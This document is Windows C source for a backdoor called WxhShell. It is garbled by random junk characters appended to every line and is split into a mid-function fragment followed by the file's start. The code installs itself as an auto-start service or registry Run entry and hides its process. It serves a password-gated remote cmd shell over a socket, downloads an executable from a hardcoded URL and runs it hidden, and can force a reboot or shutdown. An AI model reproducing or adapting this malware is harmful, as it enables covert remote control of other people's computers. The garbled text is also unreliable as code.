    if(Boot(SHUTDOWN)) n<hwstk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ue,"CQ6H  
    else { ! h4So4p  
    closesocket(wsh); ^Ws~h\{%  
    ExitThread(0); um8ZhXq  
    } :sA-$*&x  
    break; Yhsb$wu  
    } }+=@Ci  
  // 获取shell 5<a<!]|C  
  case 's': { IB;y8e,  
    CmdShell(wsh); hcf>J6ZLT  
    closesocket(wsh); *n[Fl  
    ExitThread(0); [6|8Gx :  
    break; P2s0H+<  
  } 6kDU}]c:H]  
  // 退出 *M`[YG19!e  
  case 'x': { q?0goL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aPb!-o{  
    CloseIt(wsh); X*Q7Yu  
    break; w^p2XlQ<  
    } }Ql;%7  
  // 离开 Ahwu'mgnC  
  case 'q': { Tf[ ]vqa`G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A6U6SvM;  
    closesocket(wsh); bg=`   
    WSACleanup(); ovfw_  
    exit(1); \@F{Q-  
    break; X|q0m3jt  
        } zYs? w=  
  } (f.A5~e  
  } jyT(LDsS  
VI+Y4T@  
  // 提示信息 EwOTG Y{0p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {MEU|9@ Y  
} ,`Mlo  
  } e| l?NXRX  
Wex4>J<`/  
  return; ypifXO;m7  
} iH$N HfH  
Uis P 8/k  
// shell模块句柄 X>B/DT  
int CmdShell(SOCKET sock) Ebk@x=E  
{ pucHB<R@bL  
STARTUPINFO si; V\xQM;  
ZeroMemory(&si,sizeof(si)); ?nn,RBS-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ip0Zf?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D2mB4  
PROCESS_INFORMATION ProcessInfo; @6tx5D?  
char cmdline[]="cmd"; +I~?8*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rLXn35O  
  return 0; g!QumRF  
} aOuon0  
W>Kwl*Cis"  
// 自身启动模式 x$p\ocA  
int StartFromService(void) <;T7q EIlo  
{ @kK=|(OB'  
typedef struct s1FBz)yCY=  
{ D|BN_ai9  
  DWORD ExitStatus; ~iSW^mi  
  DWORD PebBaseAddress; axl?t|~I  
  DWORD AffinityMask; +Q9HsfX/  
  DWORD BasePriority; 2U+&F'&Q  
  ULONG UniqueProcessId; 0jS/U|0  
  ULONG InheritedFromUniqueProcessId; JU6np4  
}   PROCESS_BASIC_INFORMATION; Z`!pU"O9l  
 y1saE  
PROCNTQSIP NtQueryInformationProcess; d"cfSH;h  
 (M=Br  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uXC?fMWp.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JQCwI`%i  
6]3 ZUH;  
  HANDLE             hProcess; -,tYfQ;:  
  PROCESS_BASIC_INFORMATION pbi; ]aR4U`  
Ij8tBT?jlL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1W8W/Y=hT  
  if(NULL == hInst ) return 0; O^:h_L  
2=|IOkY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GwV FD%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @W,Y_8:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GwycSb1  
M}<=~/k`j  
  if (!NtQueryInformationProcess) return 0; +u2Co_FJ&  
;n@C(hG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h.^DRR^S  
  if(!hProcess) return 0; `iI"rlc  
nX S%>1o,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 525 >=h  
pSP_cYa#(#  
  CloseHandle(hProcess); KWUz]>Z  
0_EF7`T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f#t^<`7  
if(hProcess==NULL) return 0; a8 1%M  
rifxr4c[X>  
HMODULE hMod; `lhLIQ'j  
char procName[255]; <j#EyGAV  
unsigned long cbNeeded; -T8 gV1*(<  
v3"xJN_,[p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NZuFxJ-`  
Y<+4>Eh  
  CloseHandle(hProcess); yd~fC:_ ]  
6T s`5$e  
if(strstr(procName,"services")) return 1; // 以服务启动 "=(;l3-o  
{Jc!T:vJ  
  return 0; // 注册表启动 aiHr2x6  
} d/&|%Z r  
\_E.%K  
// 主模块 fz3*oJ'  
int StartWxhshell(LPSTR lpCmdLine) m+UdT854  
{ Q(6(Scp{  
  SOCKET wsl; D2p6&HNT  
BOOL val=TRUE; u2< h<}Y  
  int port=0; a:}"\>Aj  
  struct sockaddr_in door; )'~FDw\6  
a AM UJk  
  if(wscfg.ws_autoins) Install(); MDP MOA  
 aC: l;  
port=atoi(lpCmdLine); l'T0<  
p#d UL9  
if(port<=0) port=wscfg.ws_port; f zO8by  
-#6*T,f0P(  
  WSADATA data; )mdNvb[*n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 L\?  
to 6Q90(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y7OG[L/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &*aU2{,s,;  
  door.sin_family = AF_INET; T6$<o\g'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cloI 6%5r  
  door.sin_port = htons(port); %#9~V  
Yk Pt*?,P/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dO,05?q|  
closesocket(wsl); 63S1ed [  
return 1; RHVv}N0  
} '.yWL  
&|'6-wD.  
  if(listen(wsl,2) == INVALID_SOCKET) { a7\L-T+  
closesocket(wsl); XB-|gPk  
return 1; j*4S]!  
} `uA&w}(G  
  Wxhshell(wsl); Nh9!lBm*]  
  WSACleanup(); ]ECZU   
e0HP~&BRs  
return 0; |:+pPh!-  
i(;-n_:, `  
} G3+a+=e  
D~OhwsL4  
// 以NT服务方式启动 %k #Nu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "v!HKnDT  
{ v6?\65w,|  
DWORD   status = 0; m 1i+{((  
  DWORD   specificError = 0xfffffff; yQ{_\t1Wd  
[9om"'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /'6[*]IZP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9Fx z!-9m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hX%v`8  
  serviceStatus.dwWin32ExitCode     = 0;  /kU@S  
  serviceStatus.dwServiceSpecificExitCode = 0; gsWlTI  
  serviceStatus.dwCheckPoint       = 0; ;}~Bv<#  
  serviceStatus.dwWaitHint       = 0; YwWTv  
}#*zjMOz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G@EjWZQ  
  if (hServiceStatusHandle==0) return; sFCs_u1tNN  
j :Jdwf  
status = GetLastError(); E)wT+\  
  if (status!=NO_ERROR) zl 0^EltiU  
{ ;n{j,HB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w9<FX>@  
    serviceStatus.dwCheckPoint       = 0; f^sb0nU  
    serviceStatus.dwWaitHint       = 0; l=~9 9mE  
    serviceStatus.dwWin32ExitCode     = status; F>kn:I"X)  
    serviceStatus.dwServiceSpecificExitCode = specificError; +1jqCW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AJlIA[Kt:  
    return; k`mrRs  
  } 8sF0]J[g{  
ku9F N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rbun5&RCyW  
  serviceStatus.dwCheckPoint       = 0; gc7:Rb^E5t  
  serviceStatus.dwWaitHint       = 0; Rn(F#tI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LY!3u0PnlT  
} ; 9&.QR(  
T.P Z}4  
// 处理NT服务事件,比如:启动、停止 Y_3YO 2K]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k;AiG8jb  
{ V'f5-E0  
switch(fdwControl) F"f}vl  
{ *5'6 E'  
case SERVICE_CONTROL_STOP: >\x_"oR  
  serviceStatus.dwWin32ExitCode = 0; G%8)6m'3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `pAp[]SfQd  
  serviceStatus.dwCheckPoint   = 0; )7"DR+;:  
  serviceStatus.dwWaitHint     = 0; M(WOxZ8  
  { `(Q_ 65y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bc=u1=~w  
  } ~K#_'Ldrd  
  return; @1-GPmj-  
case SERVICE_CONTROL_PAUSE: m *bKy;'8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xKLcd+hCZ  
  break; i =fOdp  
case SERVICE_CONTROL_CONTINUE: 4U a~*58  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l)PFzIz=V  
  break; JS7}K)A2B6  
case SERVICE_CONTROL_INTERROGATE: <\9Ijuq}k  
  break; `Y({#U  
}; grfdvN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KYmWfM3^  
} M|E2&ht  
19w,'}CGk  
// 标准应用程序主函数 &B7+>Ix,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?)o4 Kt'h  
{ ny_ kr`$42  
{p*hNi)0  
// 获取操作系统版本 yH"$t/cU"R  
OsIsNt=GetOsVer(); n.Eoi4jV'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vb.Y8[  
CbH T #  
  // 从命令行安装 i_'R"ob{S  
  if(strpbrk(lpCmdLine,"iI")) Install(); "tz0ko,(  
p5# P r  
  // 下载执行文件 GgpQ]rw  
if(wscfg.ws_downexe) { #b"5L2D`y'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qqt.nrQ^  
  WinExec(wscfg.ws_filenam,SW_HIDE); NZ+?Ydr8k  
} zTBi{KrZ  
wI]R+.  
if(!OsIsNt) { k E#_Pc  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]T3BDgu%&  
HideProc(); 3{I=#>;  
StartWxhshell(lpCmdLine); x [{q&N!"`  
} vu'!-K=0  
else mLk6!&zN  
  if(StartFromService()) XAULD]Q  
  // 以服务方式启动 lF}$`6  
  StartServiceCtrlDispatcher(DispatchTable); i h$@:^\  
else vPl6Das r  
  // 普通方式启动 ~ut& U  
  StartWxhshell(lpCmdLine); ug6f   
tp0!,ne*  
return 0; e"s{_V  
} Yr"!&\[oz  
q{De&Bu  
" ,aT<lw.  
qp~4KukL  
=========================================== 1nlE3Y?AV  
sRe#{EuJ  
Q!2iOvK  
JPTI6"/  
[cTRz*\s  
sAjKf\][  
" $G-N0LV  
WP% {{zR$  
#include <stdio.h> Xx y Bg!R  
#include <string.h> & L.PU@  
#include <windows.h> _^xh1=Qr}n  
#include <winsock2.h> X\3 ,NR,  
#include <winsvc.h> |!xfIR>=F  
#include <urlmon.h> [`zbf_RyO  
!.2CAL  
#pragma comment (lib, "Ws2_32.lib") 6Er0o{iI  
#pragma comment (lib, "urlmon.lib") e2-70UvW^  
(9YYv+GGd*  
#define MAX_USER   100 // 最大客户端连接数 |<$<L`xoe  
#define BUF_SOCK   200 // sock buffer O2'bNR  
#define KEY_BUFF   255 // 输入 buffer k}f<'g<H  
VNxpOoV=S  
#define REBOOT     0   // 重启 A"bSNHCKF  
#define SHUTDOWN   1   // 关机 ]2xx+P#Y  
5;K-,"UQ  
#define DEF_PORT   5000 // 监听端口 @cS1w'=  
sx-Hw4.a"  
#define REG_LEN     16   // 注册表键长度 I"F .%re  
#define SVC_LEN     80   // NT服务名长度 ><#2O  
mS)|6=Y  
// 从dll定义API vzohq1r5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &` 00/p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =_?pOq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |B1; l<|`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FQ_%)Ty2  
O'!r]0Q  
// wxhshell配置信息 "3Xv%U9@  
struct WSCFG { <9d-Hz  
  int ws_port;         // 监听端口 -e`oW.+  
  char ws_passstr[REG_LEN]; // 口令 IB#iJ# ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no bU:}ZO^S  
  char ws_regname[REG_LEN]; // 注册表键名 2Pem%HE~P  
  char ws_svcname[REG_LEN]; // 服务名 oXQ<9t1(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x#:BE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M~ i+F0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tkdBlG]!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k binf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :p\(y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  zU4V^N'  
wzDk{4U  
}; c+Q.?vJ  
t4jd KYA  
// default Wxhshell configuration j5,^9'  
struct WSCFG wscfg={DEF_PORT, y} $ P,  
    "xuhuanlingzhe", KTLbqSS\  
    1, l?o-!M{  
    "Wxhshell", !Ig|m+  
    "Wxhshell", &sZ9$s:(^  
            "WxhShell Service", zldfRo\wl  
    "Wrsky Windows CmdShell Service", )y%jLiQv  
    "Please Input Your Password: ", ]< s\V-y  
  1, R%Ui6dCLo  
  "http://www.wrsky.com/wxhshell.exe", V>FT~k_"  
  "Wxhshell.exe" d4y9AE@k  
    }; FUyB"-<  
s.R-<Y 3  
// 消息定义模块 Uw2,o|=O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ( K6~Tj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F}6DB*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z{,GZT  
char *msg_ws_ext="\n\rExit."; 3wN?|N  
char *msg_ws_end="\n\rQuit."; Yo~LckFF  
char *msg_ws_boot="\n\rReboot..."; "wnpiB}  
char *msg_ws_poff="\n\rShutdown..."; }pl]9  
char *msg_ws_down="\n\rSave to "; .pS&0gBo\  
jb|mip@` <  
char *msg_ws_err="\n\rErr!"; %1-K);S J  
char *msg_ws_ok="\n\rOK!"; e-CNQnO~  
X$7Oo^1;  
char ExeFile[MAX_PATH]; ,67"C2Y  
int nUser = 0; A9\]3 LY  
HANDLE handles[MAX_USER]; 7SgweZ}"  
int OsIsNt; b 0LGH. z4  
ibd$%;bX3  
SERVICE_STATUS       serviceStatus; KP[NuXA`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GI2eJK  
"3{#d9Gs  
// 函数声明 m,W) N9 M  
int Install(void); >lD;0EN  
int Uninstall(void); (O)\#%,@R  
int DownloadFile(char *sURL, SOCKET wsh); Q0zW ]a  
int Boot(int flag); {fGd:2dh  
void HideProc(void); \H Wcd|  
int GetOsVer(void); Y7<zm}=(/  
int Wxhshell(SOCKET wsl);  ]{f^;y8  
void TalkWithClient(void *cs); }xAie(  
int CmdShell(SOCKET sock); N$\ bg|v  
int StartFromService(void); YCa@R!M*O  
int StartWxhshell(LPSTR lpCmdLine); *4 <4  
7d&DrI@~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); % v;e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d]tv'|E13  
[[:UhrH-  
// 数据结构和表定义 r4O|()  
SERVICE_TABLE_ENTRY DispatchTable[] = J>rka]*  
{  9R9__w;  
{wscfg.ws_svcname, NTServiceMain}, Y3#Nux%  
{NULL, NULL} L'zE<3O'3  
}; uije#cj#O  
y[: ~CL  
// 自我安装 /@ y;iJk;  
int Install(void) si_W:mLF{a  
{ 2 ;JQX!  
  char svExeFile[MAX_PATH]; Vy-28icZ`  
  HKEY key; '3A+"k-}mh  
  strcpy(svExeFile,ExeFile); R/^@cA  
e]lJqC  
// 如果是win9x系统,修改注册表设为自启动 ' |&>/dyq  
if(!OsIsNt) { "-w ^D!C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #SKfE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Og,Y)a;=  
  RegCloseKey(key); 95=g Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kOw=c Gt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J,f/fPaf7  
  RegCloseKey(key); AY#wVy  
  return 0; t)YUPDQ@J  
    } <f N; xIB  
  } ev9; Ld  
} taweGc%~  
else { F\a]n^ Y  
Pm4e8b  
// 如果是NT以上系统,安装为系统服务 \ht ?G n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1N8;)HLIBJ  
if (schSCManager!=0) Vy__b=ti?  
{ !; IJ   
  SC_HANDLE schService = CreateService )2xE z  
  ( {fZb@7?GF  
  schSCManager, geksjVwPH  
  wscfg.ws_svcname, ^YGTh0$W  
  wscfg.ws_svcdisp, Yc^%zxub  
  SERVICE_ALL_ACCESS, ?hnx/z+uT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !O|ql6^;  
  SERVICE_AUTO_START, 3gAR4  
  SERVICE_ERROR_NORMAL, xq}-m!nX  
  svExeFile, \[yr=X  
  NULL, pz{'1\_+9  
  NULL, )zU:  
  NULL, ]*qU+&  
  NULL, axmsrj W#  
  NULL LheFQ A  
  ); $.pTB(tO  
  if (schService!=0) NmJ`?-Z  
  { $B\ H  
  CloseServiceHandle(schService); I,b9t\(6  
  CloseServiceHandle(schSCManager); ?v:ZU~i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IV'p~t  
  strcat(svExeFile,wscfg.ws_svcname); H$!+A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z7fg 25  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qj&b o  
  RegCloseKey(key); .2 0V 3  
  return 0; fAGctRGH  
    } `H\)e%]  
  } 69-:]7.g  
  CloseServiceHandle(schSCManager); hoenQ6N^:  
} k;k}qq`d  
} wd[eJcQ,  
a d9CsvW  
return 1; 4WC9US-k  
} q*, Q5  
u)a'  
// 自我卸载 ,> n% ~'gb  
int Uninstall(void) 5Fm av5  
{ >c4/ ?YV  
  HKEY key; v?%LQKO  
]IZ>2!6r  
if(!OsIsNt) { ?s?$d&h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `9Yn0B.  
  RegDeleteValue(key,wscfg.ws_regname); (luKn&826  
  RegCloseKey(key); w&Y{1rF>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +`B'r '  
  RegDeleteValue(key,wscfg.ws_regname); 3uV4/% U  
  RegCloseKey(key); w7FoL  
  return 0; oKA&An  
  } ^rL_C}YBj-  
} %y&]'A  
} <_Eg?ePW#  
else { 87V1#U^  
UL( lf}M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j?6X1cMq  
if (schSCManager!=0) 2C$R4:Ssw)  
{ & ze>X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ecj7BT[mLI  
  if (schService!=0) Dzl;-]S  
  { Z o=]dBp.  
  if(DeleteService(schService)!=0) { TJ(K3/)Z  
  CloseServiceHandle(schService); 6?qDdVR~]  
  CloseServiceHandle(schSCManager); #DFV=:|~  
  return 0; 9M a0^_  
  } rv>^TR*,!  
  CloseServiceHandle(schService); BQ/PGY>  
  } \L # INP4~  
  CloseServiceHandle(schSCManager); S{#cD1>.  
} maNW{"1  
} %g3,qI  
DWU`\9xA*  
return 1; ff e1lw%  
} fY,|o3#  
>Kivuc  
// 从指定url下载文件 sbj";h=E  
int DownloadFile(char *sURL, SOCKET wsh) L?5f+@0.  
{ \( )# e  
  HRESULT hr; [8XLK4e  
char seps[]= "/"; ?kTWpXx"=  
char *token; $s\UL}Gc  
char *file; ;@3FF  
char myURL[MAX_PATH]; F S"eM"z  
char myFILE[MAX_PATH]; wW2d\Zd&  
4/e60jA  
strcpy(myURL,sURL); egk7O4zwP  
  token=strtok(myURL,seps); -c%dvck^,  
  while(token!=NULL) uH@FU60  
  { C/=XuKE-t  
    file=token; pI.+"Hz  
  token=strtok(NULL,seps); zR;X*q"T$4  
  } ?4 S+edX  
#]]Su91BA  
GetCurrentDirectory(MAX_PATH,myFILE); ]y@F8$D!  
strcat(myFILE, "\\"); &fOdlQ?  
strcat(myFILE, file); e:w &(is  
  send(wsh,myFILE,strlen(myFILE),0); F_;DN: {  
send(wsh,"...",3,0); l [GOs&D1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jS.g]k  
  if(hr==S_OK)  \ %=9  
return 0; &?,6~qm[  
else 6KZf%)$  
return 1; TUIk$U?/I  
G:W>I=^DaR  
} 'heJ"k?  
`J0i.0p  
// 系统电源模块 ^|!I +  
int Boot(int flag) c{+AJ8  
{ }8-\A7T  
  HANDLE hToken; ZR0r>@M3v<  
  TOKEN_PRIVILEGES tkp; nH|,T%  
k S# CEU7  
  if(OsIsNt) { )B# ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h#r^teui)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \2 y5_;O  
    tkp.PrivilegeCount = 1; sP@X g;]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b5G}3)'w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @|}BXQNd  
if(flag==REBOOT) { Q/ms]Du  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }n_p$g[Nj/  
  return 0; ;Q;[*B=kE  
} &MZ$j46  
else { ;< jbLhHwD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yap?^&GV  
  return 0; G!N{NCq  
} RyJ 1mAC  
  } A - YBQPE  
  else { *^\HU=&  
if(flag==REBOOT) { X~=xXN.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z4#(Ze@u~_  
  return 0; !" #9<~Q,p  
} <h).fX  
else { fWc|gq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;22l"-F  
  return 0; CT9   
} 6lwta`2  
} 2T@GA 1G  
kd`0E-QU  
return 1; K;hh&sTB  
} 1=sXdcy;  
w]b,7QuNz  
// win9x进程隐藏模块 '^BV_QQ  
void HideProc(void) '>$EOg"  
{ X,aYK;q%z  
\0l>q ,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U[L9*=P;  
  if ( hKernel != NULL )  VGHWNMT  
  { s>k Uh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7|\@zQ h   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I:bD~F b3  
    FreeLibrary(hKernel); vu!d)Fy  
  } n79QJl/  
;8WZx  
return; 7(M(7}EKA  
} w=]Ks'C]  
$Nrm!/)*'}  
// 获取操作系统版本 <~TP#uAz  
int GetOsVer(void) pLa[}=  
{ f4-a?bp  
  OSVERSIONINFO winfo; XC 7?VE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TD[EQ  
  GetVersionEx(&winfo); YjF|XPv+ l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |7,L`utp  
  return 1; ?Xdak|?i  
  else 9Zry]$0~R  
  return 0; NN0$}acp  
} Uoya3#4 G  
<IW#ME  
// 客户端句柄模块 Djk C  
int Wxhshell(SOCKET wsl) Uz cx6sw  
{ 2%*MW"Q  
  SOCKET wsh; {oc igR 0  
  struct sockaddr_in client; E$9 Ys  
  DWORD myID; t?o ,RN:  
c_aZ{S  
  while(nUser<MAX_USER) 5D M"0  
{ -9RDr\&`(  
  int nSize=sizeof(client); g%F"l2M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g (VNy@  
  if(wsh==INVALID_SOCKET) return 1; 0;S,tJg  
%ms'n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1Je9,dd6  
if(handles[nUser]==0) /bj <Ft\  
  closesocket(wsh); o"wXIHUmV  
else M/x>51<  
  nUser++; ^7;JC7qmN  
  } 3lV^B[$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pe C7  
<YA&Dr3OD  
  return 0; Vpy 2\wZWb  
} DG4 d"Jy  
#;n +YM">:  
// 关闭 socket `V)Z)uN{0  
void CloseIt(SOCKET wsh) pa}*E  
{ Z_\C*^  
closesocket(wsh); +&zYZA8v  
nUser--; 6v,z@!b  
ExitThread(0);  ^p n(=4  
} k = ?h~n0M  
WI]o cF  
// 客户端请求句柄 A:(*y 2  
void TalkWithClient(void *cs) =%'`YbD$  
{ ZmOfEg|h\  
R52I= a5,*  
  SOCKET wsh=(SOCKET)cs; 3@5=+z~CW  
  char pwd[SVC_LEN]; iU6Gp-<M ,  
  char cmd[KEY_BUFF]; SIBoCs5  
char chr[1]; )54%HM_$k  
int i,j; qV5DW0.  
G=;k=oX(  
  while (nUser < MAX_USER) { ?"?6,;F(4  
.NtbL./=|  
if(wscfg.ws_passstr) { ,=?{("+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "[}O"LTQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V\(:@0"  
  //ZeroMemory(pwd,KEY_BUFF); )%!XSsY.N|  
      i=0; u?s VcD[  
  while(i<SVC_LEN) { ng:Q1Q9N  
0%!rx{f#\  
  // 设置超时 :xKcpY[{  
  fd_set FdRead; Y>jiXl?&  
  struct timeval TimeOut; AeAp0cbet  
  FD_ZERO(&FdRead); ;3_l@dP"  
  FD_SET(wsh,&FdRead); 7ugZE93!  
  TimeOut.tv_sec=8; O;7)Hjwt  
  TimeOut.tv_usec=0; f|u#2!7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [AV4m   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eNiaM6(J  
jA#/Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?\8?%Qk  
  pwd=chr[0]; j~j\\Y  
  if(chr[0]==0xd || chr[0]==0xa) { hHqh{:q{v  
  pwd=0; G,;,D9jO7  
  break; EyY.KxCB  
  } wP,JjPUt  
  i++; ;[RZ0Uy=  
    } nx0K$ Ptq  
E^U0f/5 m  
  // 如果是非法用户,关闭 socket sB69R:U;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S*AERm   
} |yo\R{&6  
j5@:a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L@JOGCYy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W2uOR{ '?  
#07gd#j4  
while(1) { :!zl^J;  
&@ JvnO:  
  ZeroMemory(cmd,KEY_BUFF); DWdW,xG  
+l=r#JF  
      // 自动支持客户端 telnet标准   mZ1)wH,  
  j=0; Z,iHy3`  
  while(j<KEY_BUFF) { u1xSp<59C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A)ipFB 6K  
  cmd[j]=chr[0]; u.rY#cS,-R  
  if(chr[0]==0xa || chr[0]==0xd) { yoAfc  
  cmd[j]=0; |p$spQ  
  break; ePIiF_X  
  } 1>L(ul(qGF  
  j++; 4Vq%N  
    } \@&_>us  
6"dD2WV/  
  // 下载文件 klUQkz |<a  
  if(strstr(cmd,"http://")) { eW|^tH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %4HRW;IU  
  if(DownloadFile(cmd,wsh)) JI vo_7{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H4]Ul eU  
  else zSb PW 6U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZ8b7nJ)4m  
  } i*CZV|t US  
  else { ~)(\6^&=|  
vOg#Dqn-  
